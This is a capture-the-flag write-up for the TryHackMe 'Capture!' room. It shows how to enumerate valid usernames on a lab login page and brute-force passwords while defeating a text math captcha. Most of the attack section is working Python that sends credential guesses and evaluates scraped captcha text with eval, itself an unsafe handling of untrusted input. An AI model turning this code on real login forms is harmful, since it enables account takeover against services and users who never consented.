Sitemap

TryHackMe | Capture!

5 min readMay 8, 2023

--

Introduction

This challenge is about bypassing a login form poorly designed with a math captcha. You will need to put your programming skills to code a customized brute forcer and get the flag!

Initial steps

As the task 2 suggests, we need to bypass the login form, so we won’t be doing any kind of enumeration on the host.

Let’s start by downloading the task files. We were given two files: usernames.txt and passwords.txt. Intuitively, we can suppose these are the wordlists needed to find the valid credentials in the application.

We were given 878 usernames and 1567 passwords, as we can see in the two images below.

To make sure we find the valid credentials, trying all pairs of username and password would be an option, but it takes a lot of time. As this is a cartesian product, the total number of pairs is: 1,375,826. If the server takes, in average, 100ms per request, this attack would take approximately 38 hours, which is a lot of time.

Analyzing the application

Accessing the provided machine, we get this page:

Press enter or click to view image in full size

Let’s try some random username to check if we can enumerate the usernames:

Press enter or click to view image in full size

As we can see, the application is vulnerable to username enumeration. This vulnerability is crucial for our attack execution time, as we are able to drastically reduce the amount of attempts.

Initially, we will use BurpSuite Intruder to enumerate the users, selecting the Sniper attack, using the usernames wordlist as our payload.

Press enter or click to view image in full size

After the configuration, just click “Start Attack” and monitor the requests.

Get Lorenzo Moulin’s stories in your inbox

Join Medium for free to get updates from this writer.

As expected, there is a captcha after some incorrect login attempts.

Press enter or click to view image in full size

This captcha is a math expression in text. So, we can easily automate this with a bit of programming.

For each username, make a request with the username and check the response. You may receive 4 types of messages:

1 — The user does not exist;

2 — Captcha enabled;

3 — Invalid captcha;

4 — Incorrect password;

If none of these messages above are received, then you found the correct credentials.

Coding the user enumeration

Besides the user and password, we also need to solve the captcha, this is easy using the python eval function.

Inspecting the web page containing the captcha, we can extract the full XPath of the captcha expression.

Let’s set some constants, import some modules and read the files.

import requests
from lxml import html
import threading
from math import sqrt

IP = "10.10.152.199"
PORT = "80"

captcha_detect = "Captcha enabled"
captcha_xpath = "/html/body/div[1]/form/text()"
invalid_captcha = "Invalid captcha"

session = requests.session()

with open("usernames.txt") as users:
usernames = [x.strip() for x in users.readlines()]

with open("passwords.txt") as passwds:
passwords = [x.strip() for x in passwds.readlines()]

Using the Burp Extension Copy As Python-Requests, we are able to easily extract the parameters of an HTTP request into python code.

The function below is responsible for user enumeration. The “detects captcha” commented section, extracts the captcha expression, evaluates it and send as a POST parameter.

If the error message isn’t found in the response, then the user is valid.

def enumerate_user(user, pw, captcha=""):
burp0_url = f"http://{IP}:{PORT}/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{IP}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{IP}/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7", "Connection": "close"}
burp0_data = {"username": user, "password": pw}
if captcha != "":
burp0_data["captcha"] = captcha
response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
# detects captcha
if captcha_detect in response.text and captcha == "" or invalid_captcha in response.text:
tree = html.fromstring(response.content)
challenge = tree.xpath(captcha_xpath)
for e in challenge:
if "= ?" in e:
return enumerate_user(user, pw, str(eval(e.strip().split("= ?")[0])))
# detect valid user
error = f"The user '{user}' does not exist"
if error not in response.text:
print(user, flush=True)
return True
return False

Brute forcing the valid user

def login(user, pw, captcha=""):
burp0_url = f"http://{IP}:{PORT}/login"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": f"http://{IP}", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": f"http://{IP}/login", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9,pt-BR;q=0.8,pt;q=0.7", "Connection": "close"}
burp0_data = {"username": user, "password": pw}
if captcha != "":
burp0_data["captcha"] = captcha
response = session.post(burp0_url, headers=burp0_headers, data=burp0_data)
# detects captcha
if captcha_detect in response.text and captcha == "" or invalid_captcha in response.text:
tree = html.fromstring(response.content)
challenge = tree.xpath(captcha_xpath)
for e in challenge:
if "= ?" in e:
return login(user, pw, str(eval(e.strip().split("= ?")[0])))
# detect successful login
invalid = f"Invalid password for user '{user}'"
return invalid not in response.text

Running this function above for the valid users and using the same logic for the captcha, we are able to find the valid credential and get the flag, because the only difference is that we will get invalid password attempts.

Now, you have the enumerate_users function and the login function. I left as an exercise for you, to join these pieces of code and bypass the login form.

--

--